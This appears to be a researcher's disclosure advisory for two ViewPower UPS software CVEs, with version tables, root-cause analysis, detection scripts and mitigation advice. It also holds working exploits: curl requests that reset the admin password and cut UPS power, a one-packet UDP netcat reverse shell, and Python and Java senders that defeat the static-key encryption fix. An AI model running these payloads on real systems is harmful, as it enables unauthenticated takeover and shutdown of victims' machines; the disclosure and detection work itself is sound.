CVE-2022-31491, CVE-2022-43110 - Voltronic Viewpower/Pro and rebrands/derivatives


Voltronic ViewPower Banner


Overview

The Voltonic Viewpower/ViewPowerPro software (just referred to as ViewPower from this point forward) is designed to manage/monitor UPS (Uninteruptable Power Supply) systems. The software has several design shortcomings that lead to critical vulnerabilities, including a trivially exploited single packet RCE (Remote Code Execution) vulnerability that requires no special tooling on the part of the attacker.

According to Voltronics own website (wayback machine option) they are ...100% ODM... and ...do not compete with our customers in any market segments. As such, The Voltronic software appears to also be rebranded/resold under other names. NetGuard (PowerShield) is one such known variant.

There is no exhaustive list of other rebranded versions of this software known to us at this time. Voltronic have been silent.


The Voltronic Editions/Versions

As mentioned, the Voltronics main website itself has 2 main editions, ViewPower and ViewPowerPro (again, in general when we mention ViewPower we mean both/either). Interestingly the versions listed on the website are actually different to what you get in the installer. We have no idea about the version control processes at Voltronic, so sorry if this adds to your confusion.

As at 17th June 2025, the table below hopefully paints this picture a little better using the Windows versions available as an example. Click version links for image of website or add/remove. Take care even when downloading for other Operating Systems that you get what you expect.

Edition Link Website version Installed version Status
ViewPower Downloads 1.04-21344 1.04-21353

Confirmed still vulnerable to both CVE-2022-43110 and CVE-2022-31491

ViewPowerPro Downloads 2.0-20363 2.0-22165

Confirmed as still vulnerable to CVE-2022-31491


Other places we've found it hosted

Apart from the Voltronic main website, there appear to be different (and newer) versions again of ViewPower/Pro hosted on different sites, some of them are resellers of the UPS hardware and thus also host the ViewPower/Pro software. One example is www.power-software-download.com They appear to be signed as expected. This again raises questions around version control, of which we don't know the answers, but its important you're aware of it regardless.

As at 17th June 2025, the table below hopefully paints this picture a little better using the Windows versions from www.power-software-download.com as an example. They're clearly newer versions for at lease one of these than on the main Voltronic Website. This list is not exhaustive and may not be updated. It is however an example of why you need to be careful around the version you have installed/downloaded.

Edition Link Installed version Status
ViewPower Downloads 1.04-24215

Confirmed still vulnerable to CVE-2022-31491

ViewPowerPro Downloads 2.0-22165

Confirmed as still vulnerable to CVE-2022-31491

As at 27th Aug 2025, we found an attempted fix published at www.power-software-download.com. They now have some version mismatching going on between what the website announced and the actual version that installs. The attempted fix implemented in verion 1.04.25210 uses encryption and is easily circumvented (see later section on failed "encryption fix"). This fix on its own just changes the way the payload needs to be formatted. Its still a full RCE. There is also no announcement on the website about this attempted fix, any mention of the CVE or even a simple advisory.

Edition Link Website version Installed version Status
ViewPower Downloads 1.04-25210 1.04-25210

Confirmed still vulnerable to CVE-2022-31491 with change to the format of the payload. Full RCE.

ViewPowerPro Downloads 2.0-25210 2.0-22165 mismatch

Confirmed as still vulnerable to CVE-2022-31491

As at 24th March 2026, ViewPower 1.04.25300 fix published around December 2025 (according to Wayback) at www.power-software-download.com. ViewPowerPro is still vulnerable and has some version mismatching going on between what the website announced and the actual version that installs. Still no announcement mentioning any CVE.

Edition Link Website version Installed version Status
ViewPower Downloads 1.04-25300 1.04-25300

Confirmed not vulnerable to CVE-2022-31491

ViewPowerPro Downloads 2.0-25210 2.0-22165 mismatch

Confirmed as still vulnerable to CVE-2022-31491


Known rebranded/variants

As at 17th June 2025, represents some known variants. There are more, so this list is not exhaustive, and probably won't be updated.

Edition Link Version Status
PowerShield Netguard Downloads 1.04-23292

Confirmed fixed. NOT vulnerable to either CVE-2022-43110 or CVE-2022-31491


CVE-2022-43110

CVSS3.1 - 9.8 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CVSS4.0 - 9.3 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

The UPS management software is supposed to only allow a properly Authenticated and Authorized admin user using a web interface to configure the system.

Due to CWE-425: Direct Request ('Forced Browsing') an unauthorised, unauthenticated remote attacker can make changes to the system including:

  • Force set the web interface admin password.
  • View/change system configuration.
  • Enumerate connected UPS devices.
  • Shut down connected UPS devices.


# Bash... get your Kali up.  CVE-2022-43110 PoC.  v1.02 across some ViewPower and NetGuard variants
# https://www.ready2disclose.com/vpow-31491-43110/

# Force the admin password on ViewPower to be "haxor123"
curl -X POST -d 'password=haxor123' http://172.16.200.149:15178/ViewPower/login/updatePassword

# Same as above but for old vulnerable version of NetGuard.  Note the url and port difference
curl -X POST -d 'password=haxor123' http://10.1.1.2:15180/NetGuard/login/updatePassword

# List all the connected UPS devices.  Will dump something like:  
#   "name":"USB (id=11A74F29_PMV)". This will give a portName=USB11A74F29 for other commands.
curl -X POST http://192.168.2.163:15180/NetGuard/initDeviceTree 

# Expanding on the above, turn the relevant UPS power sockets off.   Bye bye UPS connected machines.
curl -X POST -d 'portName=USB11A74F29&type=powerCtrlOFF' http://192.168.2.163:15180/NetGuard/control/realTimeCtrl
# Once you run this... if the connected machine is powered by that UPS, then its just GONE :)  No electricity = No computer


# Change the settings around what to do when the UPS loses power.  Note first parameter for command to run "hackthat.bat"
curl -X POST http://172.16.200.149:15178/ViewPower/shutdown/updateLocalShutdown --data-binary $'excuteProgram=hackthat.bat&batModeShutdownTime=0&batModeShutdownSeconds=0&modeShutdown=1&batModeShutdownTime2=7&batModeShutdownSeconds2=0&batCapacity=0&oscmd=&lowBatShutdownUPS=0&shutdownMode=0&shutdownTime=1&excuteProgramTime=4&cancelShutExcute=&beforeAlertTime=2&alertIntervalTime=0'




CVE-2022-31491

CVSS3.1 - 10.0 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H CVSS4.0 - 10.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

The UPS management software normally allows a properly Authenticated and Authorized user using a web interface to configure the system to run a single "shutdown" command of the users choosing when the software detects a managed UPS is shutting down. For example stop a batch job or send an alert to another system via a single command.

  • The Web front-end authenticates the user, and puts the setting for "shutdown" into the datastore.
  • The Back-end watches the UPS waiting for a power failure, reads the "shutdown" command from the datastore and sends it to the monitor over UDP port 33654 (43654 for Pro).
  • The Monitor listens on ANY network interface on UDP port 33654 (43654 for Pro) for any inbound packet with the correct format and sends the data directly to the OS to execute.

Due to this critical underlying function within the Monitor being exposed over the network (UDP port 33654/43654 listening on ALL interfaces IPv4/IPv6) bypassing Authentication and Authorization CWE-749: Exposed Unsafe Active Functionality, a remote attacker can send UDP packets in the form "exec### commandtoexecute" to run arbitrary code immediately.

ViewPower classes found


# Bash... get your Kali up.  CVE-2022-31491 PoC.  v1.02 across ViewPower and variants
# https://www.ready2disclose.com/vpow-31491-43110/


# Make linux victim (172.16.200.134) give a reverse shell back to linux attacker (172.16.200.140)
# My favorite... simple single UDP packet RCE :)
# On attacker, get nc listener ready: nc -nlvp 8080
echo -n "exec### nc -e /bin/bash 172.16.200.140 8080" >/dev/udp/172.16.200.134/33654


# Make a windows victim start notepad using standard UDP port 33654
echo -n "exec### notepad.exe" >/dev/udp/192.168.2.170/33654


# Same as above, but a Pro version on the alternate UDP port 43654
echo -n "exec### notepad.exe" >/dev/udp/192.168.2.170/43654


# Make a victim machine ping something.  For added fun use a canary domain
echo -n "exec### ping 192.168.2.101" >/dev/udp/192.168.2.168/33654





#!/usr/bin/env python3

# CVE-2022-31491 PoC v1.02 across ViewPower and variants
# https://www.ready2disclose.com/vpow-31491-43110/    
    
import socket

# ---- CONFIG ---- Victim IPv6 address
ipv6_address = "fe80::fe2c:3ba2:819e:e11e"
port = 33654      # 43654 for pro version/derivative
message = b"exec### notepad.exe"
    
# ---- CONFIG ---- Attacker interface to use to reach victim
interface = "eth1"       # Local machines interface to send IPv6 packet...
    
# Create IPv6 UDP socket
sock = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)

# Send packet
sock.sendto(message, (ipv6_address, port, 0, socket.if_nametoindex(interface)))
sock.close()
print(f"Sent '{message.decode()}' to [{ipv6_address}]:{port}")
    


CVE-2022-31491 on GitHub PoC and Metasploit (Metasploit includes encryption fix workaround)


CVE-2022-31491 - Failed "encryption fix" attempted

The developers across various releases of ViewPower/derivatives attempted to "encrypt" the previous in-the-clear UDP packet. This failed. Although they did use a valid library for AES, they didn't use the library in accordance with recommended practices. The design exhibits multiple critical cryptographic weaknesses: static key embedding, IV reuse, and IV/key equivalence. Key and the IV are based on the same string "VoltronicViPower".

Not only is it important to "not roll your only crypto", but you should also "use the crypto library correctly". We will chug a beer for every dev who clicks here

The metasploit module has options to push encrypted packets (now its extra spicey), completely circumventing this attempted fix. We didn't have to do that, most of us thought the PoC for encryption circumvention was enough. However Dave is a glutton for punishment and likes Ruby... so he dove back in and modded the metasploit module. MOAR POWER.

Interestlingly the encryption fix actually introduced some bugs on a few editions (so your mileage will vary) such as:

  • Duplication of command to run. (can manifest in metasploit module as multiple meterpreter sessions returning)
  • Termination of the underlaying process, stopping further UDP packet processing (rare)


// v1.02
// PoC to show attempted encryption fix for CVE-2022-31491 can be circumvented.
//   An attempted fix for CVE-2022-31491 was apparently to encrypt the data transfer.  However the AES key and IV used are known and static.
//   As such this PoC encrypts the data sent to the victim using the known Key and IV.  The victim is instructed to start notepad.exe
//   Just for fun, do a packet capture and see that the payload can also be replayed if you like.
//   https://www.ready2disclose.com/vpow-31491-43110/
// 
// To use/complie:
//   1 : Crank up Kali linux
//   2 : Throw the contents of this into a file called t01.java
//   3 : Make sure your settings for victim etc are correct in void main
//   4 : run it up using command  :  java t01.java


import java.util.Arrays;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;


import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.DatagramPacket;
import java.net.DatagramSocket;
import java.net.InetAddress;
import java.net.Socket;
import java.net.SocketException;
import java.net.UnknownHostException;
import java.util.Arrays;


public class t01 {

  // Oops... the AES key is known and static between installs.  Even better, the IV is the same as this.
  public static byte[] getPublicKey() throws Exception {
    return "VoltronicViPower".getBytes("utf-8");
  }


  public static void send(byte[] bytes, String ipAddress, int port) throws IOException {
    InetAddress inetAddress;
    inetAddress = InetAddress.getByName(ipAddress);
    DatagramSocket ds = null;
    ds = new DatagramSocket();
    ds.setSoTimeout(3000);
    DatagramPacket dp = new DatagramPacket(bytes, bytes.length, inetAddress, port);
    ds.send(dp);
  }

  // Its not pretty, but its how the software wants the data represented.
  public static String encryptWithoutPrivateKey(String msg) {
    String len = (new StringBuilder(String.valueOf(msg.length()))).toString();
    String lenlen = String.valueOf(len.length()) + len;
    msg = String.valueOf(lenlen) + msg;
    int reminder = msg.length() % 16;
    if (reminder != 0)
      for (int i = 0; i < 16 - reminder; i++)
        msg = String.valueOf(msg) + " ";

    try {
      Cipher cipher = Cipher.getInstance("AES/CBC/NoPadding");
      byte[] raw = getPublicKey();
      SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
      byte[] iv = getPublicKey();
      cipher.init(1, skeySpec, new IvParameterSpec(iv));
      byte[] encrypt = cipher.doFinal(msg.getBytes());

      String res = Arrays.toString(encrypt).replace("[", "").replace("]", "").replace(" ", "");
      return res;
    } catch (Exception e) {
      e.printStackTrace();
      return null;
    } 
  }


  // This really isn't needed now the code works, but helped with debugging
  public static String decryptWithoutPrivateKey(String msg) {
    try {
      Cipher cipher = Cipher.getInstance("AES/CBC/NoPadding");
      byte[] raw = getPublicKey();
      SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
      byte[] iv = getPublicKey();
      cipher.init(1, skeySpec, new IvParameterSpec(iv));
      String[] arr = msg.split(",");
      byte[] decode = new byte[arr.length];
      for (int i = 0; i < arr.length; i++)
        decode[i] = Byte.parseByte(arr[i]); 
      cipher.init(2, skeySpec, new IvParameterSpec(iv));
      byte[] decrypt = cipher.doFinal(decode);
      String res = new String(decrypt);
      int lenlen = Integer.parseInt(res.substring(0, 1));
      int len = Integer.parseInt(res.substring(1, 1 + lenlen));
      res = res.substring(lenlen + 1, len + 1 + lenlen);
      return res;
    } catch (Exception e) {
      e.printStackTrace();
      return null;
    } 
  }



  public static void main(String[] args) {
    System.out.println("Starting...");


    // Settings etc...
    String victim = "172.16.200.148";        // The IP address of the victim...
    int port = 33654;                       // Port to use on the Victim...


    // Setup some things...  and go...
    String msg = "exec### notepad.exe";
    System.out.println("msg to send to " + victim +":" + port + "  : " + msg);


    // Encrypt and send it off to the victim...
    String result = "";
    try {
      byte[] requestPRI = encryptWithoutPrivateKey(msg).getBytes();     // Encypt the payload.  Known static key and known static IV are the same.
      send(requestPRI, victim, port);      // Send it off
    } catch (Exception e) {
      e.printStackTrace();
    } 

  }
}




CVE-2022-31491 - The actual fix... now just LPE

The root cause is a specific class "cn.com.voltronic.socket.SystemTrayUDPServer.class" which is contains a routine "getServer". It listens on ALL interfaces, allowing remote/unauthenticated access to this dangerous function. The fix that the developer eventually chose that stopped it being an RCE was to instead listen on 127.0.0.1. This class is used by Windows, MacOS and Linux variants.

The image below shows the vulnerable class and matching netstat at the top. The bottom shows the 127.0.0.1 fix and he matching netstat.

RCE to LPE

As you can see, this "fix" stops remote access meaning for those versions released like this are now a LPE (Local Privilege Escalation) risk

What does that mean ? If you have this installed on a shared system, then LPE is now going to be a possible problem. Think:

  • Web server gets compromised an attacker escalates privileges via the UPS software.
  • Citrix (or similar) server can have a connected user leverage the UPS software to escalate.
  • A different user logging in via Terminal Services escalates privaleges via the UPS software.
  • Limited SSH user logon to Linux could use UPS software to escalate.
  • ... the mind boggles. LOLZ... just don't use this software
So, no longer RCE, just LPE. There is no CVE listed for what this has become.


Q: How can I tell if I have this software ?

If you have Viewpower/ViewpowerPro (Voltronic or a rebranded product), its interface will likely look similar to one of the images below.

ViewPower classes found

ViewPower classes found

There are 2 quick/dirty ways to check across your system for specific indicators like listening ports and java classes. These python scripts do this, and have been tested across Windows and Linux. Note:

  • Script A - Check for the specific java class that had the initial problem and check for specific string markers.
  • Script B - Check for UDP listening on the relevant ports that are not the loopback interface.
Some things to note:
  • Run these as admin/root to ensure they has access to see .jar files and network listeners.
  • Usual disclaimers... Check stuff from the internet before you run it on your systems... AND these are indicative, and you should check with your vendor.




import fnmatch
import os
import sys
import zipfile
import argparse


short_info = "Scan JAR files for known GOOD/BAD relating to CVE-2022-31491 v1.7 \nRun this as admin/root"

pattern = "cn/com/voltronic/sock*"                     # Search all .jar files with .class that match this pattern.

tGOOD = ("SystemTrayUDPServer", "getServer", "127.0.0.1")           
tFAIL = ("SystemTrayUDPServer", "getServer", "0.0.0.0")        


bGOOD = [s.encode("utf-8") for s in tGOOD]
bFAIL = [s.encode("utf-8") for s in tFAIL]




def scan_jars(start_path: str, internal_pattern: str, follow_symlinks: bool) -> int:
    """
    Scan recursively for .jar files and print matches found inside them.

    Returns:
        Total number of matches found.
    """
    total_matches = 0

    for root, _, files in os.walk(start_path):
        for filename in files:

            # We only want files that end in .jar
            if not filename.lower().endswith(".jar"):
                continue

            jar_path = os.path.join(root, filename)

            try:
                # Open up the .jar file as a .zip
                with zipfile.ZipFile(jar_path, "r") as jar:

                    # Look for all the entries that match the internal pattern...
                    for entry_name in jar.namelist():
                        if fnmatch.fnmatch(entry_name, internal_pattern):

                            # This filename matches... lets open/read it...
                            with jar.open(entry_name) as f:
                                #print(f"{jar_path}    {entry_name}")
                                data = f.read()  # bytes

                                if bGOOD:
                                    if all(b in data for b in bGOOD):
                                        print("[ OK ] %s  %s  %s" % (jar_path, entry_name, bGOOD))
                                if bFAIL:
                                    if all(b in data for b in bFAIL):
                                        print("[FAIL] %s  %s  %s" % (jar_path, entry_name, bFAIL))
                                        total_matches += 1

            except zipfile.BadZipFile:
                print(f"Skipping invalid JAR/ZIP: {jar_path}")
            except PermissionError:
                print(f"Permission denied: {jar_path}")
            except OSError as e:
                print(f"Error reading {jar_path}: {e}")

    return total_matches





if __name__ == "__main__":

    
    parser = argparse.ArgumentParser(description=short_info)

    parser.add_argument(
        "--folder",
        required=True,
        help="Folder to scan (eg: C:\\ for windows)"
    )


    parser.add_argument(
        "--follow-symlinks",
        action="store_true",
        help="Follow symbolic links (default: False)"
    )

    if len(sys.argv) == 1:
        parser.print_help()
        sys.exit(1)




    args = parser.parse_args()


    if not os.path.exists(args.folder):
        parser.error(f"Path does not exist: {args.folder}")



    print(f"{short_info}")
    print(f"Scanning: {args.folder}")
    print(f"Pattern: {pattern}")
    print(f"Follow symlinks: {args.follow_symlinks}")
    print("-" * 60)


    results = scan_jars(args.folder, pattern, args.follow_symlinks)
    print("Finished searching %s." % args.folder)
    print("Found %i bad classes." % results)








import fnmatch
import os
import sys
import zipfile
import argparse


short_info = "Scan UDP known GOOD/BAD relating to CVE-2022-31491 v1.6 \nRun this as admin/root"

tGOOD = ("::1", "127.0.0.1", "::ffff:127.0.0.1")      
tFAIL = ("0.0.0.0","::")  
# Anything not caught in the above is considered a WARN      



import psutil

def scan_udp(port):   # returns the number of WARN or FAIL
    found = 0

    for conn in psutil.net_connections(kind='udp'):
        
        if conn.laddr and conn.laddr.port == port:
        
            test = conn.laddr.ip.lower()
            if test in tGOOD:
                res = "GOOD"
            elif test in tFAIL:
                res = "FAIL"
                found += 1
            else:
                res = "WARN"
                found += 1    
        
            print("[%s] %s" % (res, conn.laddr))

    return found




if __name__ == "__main__":

    print(f"{short_info}")
    print("-" * 60)

    results = 0
    results += scan_udp(33654)    # Standard version known port
    results += scan_udp(43654)    # Pro version known port
    
    print("Found %i bad UDP listeners" % results)





Q: What should I do if I have this ?

If you have this in your environment and you can't confirm its fixed/patched, consider the following options (in no particular order). On our equipment we took the first option.

  • 🗑️ Uninstall it or disconnect the machine from the network. (Hint: take this option)
  • ⚠️ Same as above... Uninstall it (Hint: this is a duplicate by design... uninstall)
  • 🔥 Ensure your firewalls are not allowing inbound traffic from untrusted networks on UDP ports 33654 and 43654.
  • 🔥 Setup zeek/snort etc to watch for UDP traffic on ports 33654/43654 as it could indicate adversary activity.
  • 🛠️ Check for a patched version/release. Which may be hard given lack of vendor advisory and CVE tracking.
  • ⚠️ Stop the LPE issue by uninstalling any other 'shared' software on the machine that another user could use to reach the box, eg: Terminal Services, Shared services, Webserver
  • 🧑‍💼 Contact the vendor/supplier. Mileage may vary on this option. Good luck.

If you find the software, and you believe you're patched... double check. Given some less than ideal version control is going on, you need to be VERY sure.



v007